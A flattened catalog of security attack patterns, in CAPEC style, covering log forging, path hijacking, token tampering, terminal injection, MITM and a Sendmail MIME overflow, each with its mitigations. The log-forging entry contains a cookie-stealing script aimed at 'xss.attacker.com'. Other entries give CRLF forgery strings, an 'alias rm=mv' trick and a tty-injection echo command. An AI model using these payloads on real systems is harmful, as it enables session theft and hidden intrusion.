Discover a web service of interest, by exploring web service registry listings or by connecting on known port or some similar means Authenticate to the web service, if required, in order to explore it. Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed. The architecture under attack must publish or otherwise make available services, of some kind, that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. The service need not be 'discoverable' but in the event it isn't, must have some way of being discovered by an attacker. This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service. High Medium Analysis API Abuse To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers "will not know services exist" and that "even if they did, they wouldn't be able to access them because they're not on the local LAN." Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions. Low: A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that he can sniff/monitor for. No special resources are required in order to conduct these attacks. Web service digging tools may be helpful. Probing techniques should often follow normal means of identifying services. Attackers will simply have to execute code that sends the appropriate interrogating SOAP messages to suspected UDDI services (in web-services scenarios). Attackers will likely want to detect and query the organization's SOA Registry. Probing techniques become more difficult when the service isn't advertised, or doesn't leverage discovery frameworks such as UDDI or the WS-I standard. In these cases, sniffing network traffic may suffice, depending on whether or not discovery occurs over a protected channel. Authenticating both services and their discovery, and protecting that authentication mechanism simply fixes the bulk of this problem. Protecting the authentication involves the standard means, including: 1) protecting the channel over which authentication occurs, 2) preventing the theft, forgery, or prediction of authentication credentials or the resultant tokens, or 3) subversion of password reset and the like. Information Leakage Privilege Escalation This pattern applies in contexts in which an organization makes services available, preferrably in a discoverable fashion. Attackers can leverage web- or SOA-services available to them whether or not those services are 1) advertised by a directory, 2) themselves respond on well-known interfaces, or are 3) predictably indexed. Once identified and interfaced with, the Attacker is free to use the interface for all its spoils. In these cases, the system's designers have fallen prey to believing security by obscurity will work, or have not thought about a service's actual availability at all. Unlike more vanilla client-server interfaces, services usually publish an easy to use interface in XML (through UDDI) making reverse engineering services for use trivial. 306 Targeted 693 Targeted 695 Targeted Authenticate every request or message to a service Do not rely on lack of discoverability to protect privileged functions within the service Never Assuming that Your Secrets Are Safe Complete Mediation Use Authorization Mechanisms Correctly Use Authentication Mechanisms, Where Appropriate, Correctly Penetration High Medium Low SOA All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker can resort to stealing data embedded in client distributions or client code in order to gain certain information. This information can reveal confidential contents, such as account numbers, or can be used as an intermediate step in a larger attack (such as by stealing keys/credentials).

Identify Target Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), or other machine code. Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats. env-Local env-Embedded env-ClientServer env-Peer2Peer Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack. env-Local env-Embedded env-ClientServer env-Peer2Peer Proprietary or sensitive data is stored in a location ultimately distributed to end users. env-Local env-Embedded env-ClientServer env-Peer2Peer Access to binary code is not realistic. For example, in a client-server environment, binary code on the server is presumed to be inscrutable to an attacker unless another vulnerability exposes it. env-Web env-ClientServer env-Peer2Peer env-CommProtocol The attacker identifies one or more files or data in the software to attack. Obfuscation can make the observation and reverse engineering more difficult. It is only capable of delaying an attacker, however, not preventing a sufficiently motivated and resourced one. Apply mining techniques The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to extract the information of interest. API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information. env-Local env-Embedded env-ClientServer env-Peer2Peer Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness. env-Local env-Embedded Cryptanalysis. The attacker performs cryptanalysis to identify data in the client component which may be cryptographically significant. (Key material frequently stands out as very high entropy data when compared to other mundane data). Given cryptographically significant data, other analyses are performed (e.g., length, internal structure, etc.) to determine potential algorithms (RSA, ECC, AES, etc.). This process proceeds until the attacker reaches a conclusion about the significance and use of the data. env-Local env-Embedded env-ClientServer env-Peer2Peer Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on. env-All Common data typing. The attacker looks for common file signatures for well known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, he attempts decoding in that format. env-All Well known data types are used and embedded inside the client-accessible code. env-Local env-Embedded env-ClientServer env-Peer2Peer Proprietary data encodings are used. Although this incrementally increases the difficulty for an attacker to decode the data, it provides no better protection than well-known data types. Since few software developers are trained in obfuscation and cryptography, most proprietary encodings add little security value. env-Local env-Embedded env-ClientServer env-Peer2Peer The attacker extracts useful information. The software can contain an update mechanism, key management mechanism, or other means of updating proprietary data. Although this can react to a single breach, it is not an effective continuing solution. Many software manufacturers are lured into a repeated update cycle (c.f., satellite TV providers, iPhone) as hackers break proprietary data protection schemes. Planning to issue corrections is a poor long-term strategy, but it can be an effective stopgap measure until a design-level correction can be made. In order to feasibly execute this class of attacks, some valuable data must be present in client software. Additionally, this information must be unprotected, or protected in a flawed fashion, or through a mechanism that fails to resist reverse engineering, statistical, cryptanalytic, or other attack. Very High Very High Analysis Using a tool such as 'strings' or similar to pull out text data, perhaps part of a database table, that extends beyond what a particular user's purview should be. An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents. Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user. Medium: The attacker must possess knowledge of client code structure as well as ability to reverse-engineer or decompile it or probe it in other ways. This knowledge is specific to the technology and language used for the client distribution The attacker must possess access to the client machine or code being exploited. Such access, for this set of attacks, will likely be physical. The attacker will make use of reverse engineering technologies, perhaps for data or to extract functionality from the binary. Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may require the use of only a hex editor, or may require aspects of the toolchain used to construct the application: for instance the Adobe Flash development environment. Attacks of this nature do not require network access or undue CPU, memory, or other hardware-based resources. Attackers may confine (and succeeed with) probing as simple as deleting a cache or data file, or less drastically twiddling its bits and then testing the mutation's effect on an executing client. At the other extreme, attackers capable of reverse engineering client code will have the ability to remove functionality or identify the whereabouts of sensitive data through whitebox analysis, such as review of reverse-engineered code. Information Leakage Data Modification Privilege Escalation This pattern of attacks possesses valid contexts regardless of architectural model, as long as some client side logic or data of interest exists. Client/server, n-tier and thick clients should all be considered for vulnerability to this pattern. Counter-indications include multicast distribution channels in which servers dispense only public data and no client-side authentication or filtering occurs. This pattern of attack need not depend on a particular platform, technology stack, or language. This pattern of attacks possesses no injection vector, in its normal instances, as it affects clients fundamentally vulnerable to client-side trust issues. One exception to this rule exists: attacks making use of second-order injection attacks (SQL, XSS, or similar command injection) may 'deliver' an attack, through an intermediate server or data store, to a peer-client, or another user's use of the same client. In the case of the second instance (another user's use) this vector seems onerous but would be necessary in circumstances in which the hosting system protects the application well but implicitly trusts (potentially malicious) data received from the server (such as may be the case in kiosks well-protected through physical means). Client-side software, whether it be a monolithic application, client/server, or n-tier (web-based). 525 Targeted 312 Targeted 314 Secondary 315 Secondary 318 Secondary No sensitive or confidential information must be stored in client distributions. This includes content such as passwords or encryption keys. In cases where this is necessary, avoid storing any such information in plaintext All information arriving from a client must be validated before use. Reluctance to Trust Never Assuming that Your Secrets Are Safe Never Use Unvalidated Input as Part of a Directive to any Internal Component Treat the Entire Inherited Process Context as Unvalidated Input Use Well-Known Cryptography Appropriately and Correctly Reconnaissance Exploitation High Medium Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content

This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accoutability, non-repudiation and incident forensics capability.

Determine Application's Log File Format The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system. Determine logging utility being used by application (e.g. log4j) env-All Gain access to application's source code to determine log file formats. env-All Install or obtain access to instance of application and observe its log file format. env-All Attacker determines log file format used by application. Attacker cannot conclusively determine log file format; he/she can only guess what the format is. Manipulate Log Files The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack. Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in". Different applications may require different encodings of the carriage return and line feed characters. env-All Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain <script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script>. The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page). env-All Forged entry or other malicious data inserted into application's logs. No entry inserted into logs, or the entry is visibly distinguishable from real entries. Input validation to ensure that only legal characters supplied by users can be entered into log files Encode information from user such that any unexpected characters are encoded safely before they are entered into log files. Post-processing of log files to remove or encode dangerous characters before displaying to a user may help in some cases. It will not help remove fake log entries entered using carriage return and line feed characters, however. The target host is logging the action and data of the user. The target host insufficiently protects acces to the logs or loggin mechanisms. High High Analysis Modification of Resources Injection Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. CVE-2006-0201 If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged: INFO: Failed to parse val=twenty-one INFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries. (Source: CWE Log forging) Low/Medium: Low: This attack can be as simple as adding extra characters to the logged data (e.g. unsername). Adding entries is typically easier than removing entries. Medium: A more sophisticated attack can try to defeat the input validation mechanism. The attacker will try to determine which data may be logged in case of a success or failure of a predetermined action such as authentication. Once that data has been identified, the attacker may try to craft malicious data to inject. Vulnerability testing tool can be used to test the input validation mechanism. Carefully control access to physical log files. Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data. Use synchronization to control the flow of execution. Use static analysis tools to identify log forging vulnerabilities. Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells. Data Modification The variable being logged The malicious characters or the crafted data which should forge the log entry. The logging mechanism (This can be as simple as writing to a file, logging API, etc.) Log tampering or forgery (misleading data) 117 Targeted 92 Secondary 150 Secondary 713 Targeted Reluctance to Trust Obfuscation Medium High High All All All All J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002. CWE - Log Forging A. Muffet. The night the log was forged. http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm. Secure Software - Log Injection : http://www.owasp.org/index.php/Log_injection Samate test case on Log Forging : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1579 Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Eric Dalci Cigital, Inc. 2007-03-25 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

This attack loads a malicious resource into a program's standard path used to bootstrap and/or provide contextual information for a program like a path variable or classpath. J2EE applications and other component based applications that are built from mutliple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker. A standard UNIX path looks similar to this /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attacker's behalf: /evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.

The attacker must be able to write to redirect search paths on the victim host. Very High High Modification of Resources This attack can be accomplished in two ways. An attacker can insert a malicious program into the path or classpath so that when a known command is executed then the system instead executes the trojans. Another method is to redirect commands by aliasing one legitimate command to another to create unexpected results. the Unix command "rm" could be aliased to "mv" and move all files the victim thinks they are deleting to a directory the attacker controls. In a Unix shell .profile setting alias rm=mv /usr/home/attacker In this case the attacker retains a copy of all the files the victim attempts to remove. Low: to identify and execute against an overprivileged system interface Design: Enforce principle of least privilege Design: Ensure that the program's compound parts, including all system dependencies, classpath, path, and so on, are secured to the same or higher level assurance as the program Implementation: Host integrity monitoring Run Arbitrary Code Privilege Escalation "Attack Pattern: Make Use of Configuration File Search Paths If you place a copy of the configuration file into a previously empty location, the target program may find your version first and forgo any further searching. Most programs are not aware of security, so no check will be made against the owner of the file. The UNIX environment variable for PATH will sometimes specify that a program should look in multiple directories for a given file. Check these directories to determine whether you can sneak a Trojan file into the target." [Hoglund and McGraw 04] 426 Targeted 427 Targeted 428 Secondary 706 Targeted 13 More Detailed Exploitation Medium Medium Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakeage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

The attacker probes to determine the nature and mechanism of communication between two components looking for opportunities to exploit. The attacker inserts himself into the communication channel initially acting as a routing proxy between the two targeted components. The attacker may or may not have to use cryptography. The attacker observes, filters or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for his own purposes. There are two components communicating with each other. An attacker is able to identify the nature and mechanism of communication between the two target components. An attacker can eavesdrop on the communication between the target components. Strong mutual authentication is not used between the two target components yielding opportunity for attacker interposition. The communication occurs in clear (not encrypted) or with insufficient and spoofable encryption. Very High Very High Spoofing Analysis Modification of Resources Symantec Scan Engine 5.0.0.24, and possibly other versions before 5.1.0.7, uses the same private DSA key for each installation, which allows remote attackers to conduct man-in-the-middle attacks and decrypt communications. CVE-2006-0231 Medium/High: This attack can get sophisticated since the attack may use cryptography. The attacker can try to get the public-keys of the victims. There are free software tool to perform man in the middle attack (packet anlaysis, etc.) Get your Public Key signed by a Certificate Authority Encrypt your communication using cryptography (SSL,...) Use Strong mutual authentication to always fully authenticate both ends of any communications channel. Exchange public keys using a secure channel Data Modification Privilege Escalation Information Leakage A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure. The captured or modified data in transit The new value of the data or the replay of the same data (e.g. credential) The messages exchanged between the two target hosts. Privilege escalation. modification of resource, information leakage, etc. 300 Targeted 290 Secondary 593 Secondary 287 Targeted 294 Secondary 724 Secondary Complete Mediation Exploitation High High High All All All All CWE - Man-in-the-middle (MITM) M. Bishop. Computer Security: Art and Science. Addison-Wesley, 2003. Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Eric Dalci Cigital, Inc. 2007-03-25 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.

Enumerate information passed to client side The attacker identifies the parameters used as part of tokens to take business or security decisions Use WebScarab to reveal hidden fields while browsing. env-Web Use a sniffer to capture packets env-ClientServer env-Peer2Peer env-CommProtocol View source of web page to find hidden fields env-Web Examine URL to see if any opaque tokens are in it env-Web Disassemble or decompile client-side application env-ClientServer env-Peer2Peer Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc. env-ClientServer env-Peer2Peer Opaque hidden form fields in a web page env-Web Opaque session tokens/tickets env-Web env-Peer2Peer env-ClientServer env-CommProtocol Opaque protocol fields env-ClientServer env-Peer2Peer env-CommProtocol Opaque Resource Locator env-Web env-Peer2Peer env-ClientServer env-CommProtocol At least one opaque client-side token found No opaque client-side tokens found Determine protection mechanism for opaque token The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may may be obfuscated or a full blown encryption may be used. Look for signs of well-known character encodings env-Web env-ClientServer env-Peer2Peer env-CommProtocol Look for cryptographic signatures env-Web env-ClientServer env-Peer2Peer env-CommProtocol Look for delimiters or other indicators of structure env-Web env-ClientServer env-Peer2Peer env-CommProtocol Standard signatures of well-known encodings detected env-Web env-ClientServer env-Peer2Peer env-CommProtocol Token or structural block's length being multiple of well-known block size of a cryptographic algorithm env-Web env-ClientServer env-Peer2Peer env-CommProtocol Clear structural boundaries or delimiters env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in previous step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Protection/encoding scheme identified No information about protection/encoding scheme could not be determined Modify parameter/token values Trying each parameter in turn, the attacker modifies the values Modify tokens logically env-Web env-ClientServer env-Peer2Peer env-CommProtocol Modify tokens arithmetically env-Web env-ClientServer env-Peer2Peer env-CommProtocol Modify tokens bitwise env-Web env-ClientServer env-Peer2Peer env-CommProtocol Modify structural components of tokens env-Web env-ClientServer env-Peer2Peer env-CommProtocol Modify order of parameters/tokens env-Web env-ClientServer env-Peer2Peer env-CommProtocol Success outcome in first step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in first step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Cycle through values for each parameter. Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server Use network-level packet injection tools such as netcat env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc. env-Web Use modified client (modified by reverse engineering) env-ClientServer env-Peer2Peer env-CommProtocol Use debugging tools to modify data in client env-ClientServer env-Peer2Peer Success outcome in first step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in first step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Subversion of security controls on server Client token reset by server Detailed error message describing problem with token, received from server Unexpected/invalid token/parameter value in application logs on server Reset session upon receipt of unexpected/invalid token/parameter value An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system. For an Attacker to viably execute this attack, some data (later interpreted by the application) must be held client-side in a way that can be manipulated without detection. This means that the data or tokens are not CRCd as part of their value or through a separate meta-data store elsewhere. Medium Very High Modification of Resources With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, he/she proceeds. Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. "u" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes "u" for "a" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct "flip" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode. Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1. CVE-2006-0944 Medium: If the client site token is obfuscated. High: If the client site token is encrypted. The Attacker needs no special hardware-based resources in order to conduct this attack. Software plugins, such as Tamper Data for Firefox, may help in manipulating URL- or cookie-based data. Tamper with the client side data token and observe the effects it has on interaction with the system. This attack is in and of itself a trial-and-error-based probing technique. One solution to this problem is to protect encrypted data with a CRC of some sort. If knowing who last manipulated the data is important, then using a cryptographic "message authentication code" (or hMAC) is prescribed. However, this guidance is not a panecea. In particular, any value created by (and therefore encrypted by) the client, which itself is a "malicous" value, all the protective cryptography in the world can't make the value 'correct' again. Put simply, if the client has control over the whole process of generating and encoding the value--then simply protecting its integrity doesn't help. Make sure to protect client side authentication tokens for confidentiality (encryption) and integrity (signed hash) Make sure that all session tokens use a good source of randomness Perform validation on the server side to make sure that client side data tokens are consistent with what is expected. Data Modification Privilege Escalation The context in which this attack can operate is any circumstance in which important data, stored client-side, is reinterpreted by the client itself or a server-side component. The server-side component may or may not be the same system that produced the data (it is not in the given example instance). But, in all cases, the data stored is protected through some means--such as encryption. However, it's important to stipulate that the means used to protect this data does not employ an effetive integrity check. 353 Targeted 285 Secondary 302 Targeted 472 Targeted 565 Targeted 315 Targeted 539 Targeted 384 Secondary 233 Secondary 31 More Abstract 22 More Detailed Sensitive information stored client side must be integrity checked upon return before use Reluctance to Trust Never Assuming that your Secrets are Safe Least Privilege Complete Mediation Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration Exploitation High High Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content Eugene Lebanidze Cigital, Inc 2007-02-27 Added new examples and other content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Solutions and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals. Very High High Injection Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being overprivileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals. "$echo -e "\033[30m\033\132" > /dev/ttyXX where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid." [Hoglund and McGraw 04] If the victim continues to hit "enter" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on. Low Access to a terminal on the target network Design: Ensure that terminals are only writeable by named owner user and/or administrator Design: Enforce principle of least privilege Privilege Escalation Information Leakage Run Arbitrary Code Payload delivered through standard user terminal. Command(s) executed directly on host, in other victim's terminal Multi-user host Enables attacker to execute server side code with any commands that the program owner has privileges to. 306 Targeted 74 Targeted Exploitation High High Low Mainframe Other UNIX-LINUX All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4). Identify places in the system where vulnerable MIME conversion routines may be used. Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shellcode. The target system uses a mail server. Mail server vendor has not released a patch for the MIME conversion routine, the patch itself has a security hole or does not fix the original problem, or the patch has not been applied to the user's system. High High Injection Attack Example: Sendmail Overflow A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges. Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild. CVE-1999-0047 Low: It may be trivial to cause a DoS via this attack pattern High: Causing arbitrary code to execute on the target system. The first step is to figure what mail server (and what version) is running on the target system. Stay up to date with third party vendor patches Disable the 7 to 8 bit conversion. This can be done by removing the F=9 flag from all Mailer specifications in the sendmail.cf file. For example, a sendmail.cf file with these changes applied should look similar to (depending on your system and configuration): Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail -d $u Mprog, P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40, D=$z:/, T=X-Unix, A=sh -c $u This can be achieved for the "Mlocal" and "Mprog" Mailers by modifying the ".mc" file to include the following lines: define(`LOCAL_MAILER_FLAGS', ifdef(`LOCAL_MAILER_FLAGS', `translit(LOCAL_MAILER_FLAGS, `9')', `rmn')) define(`LOCAL_SHELL_FLAGS', ifdef(`LOCAL_SHELL_FLAGS', `translit(LOCAL_SHELL_FLAGS, `9')', `eu')) and then rebuilding the sendmail.cf file using m4(1). From "Exploiting Software", please see reference below. Use the sendmail restricted shell program (smrsh) Use mail.local Run Arbitrary Code Data Modification Denial of Service Privilege Escalation Content-Based Buffer Overflow Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it. Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn. The especially formated e-mail message whose body is put together in a way as to trigger the MIME conversion buffer overflow in the 7 to 8 bit MIME conversion function. The shellcode included as part of the e-mail message body that is executed on the target system with root privileges after the stack based buffer overflow in the 7 to 8 bit MIME conversion function is leveraged. The function performing 7 to 8 bit MIME conversion. 120 Targeted 119 Targeted 74 Targeted 20 Secondary CVE-1999-0047 A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges. Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild. Failing Securely Penetration Exploitation High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CERT Advisory CA-1997-05, "MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4". Available at: http://www.cert.org/advisories/CA-1997-05.html G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

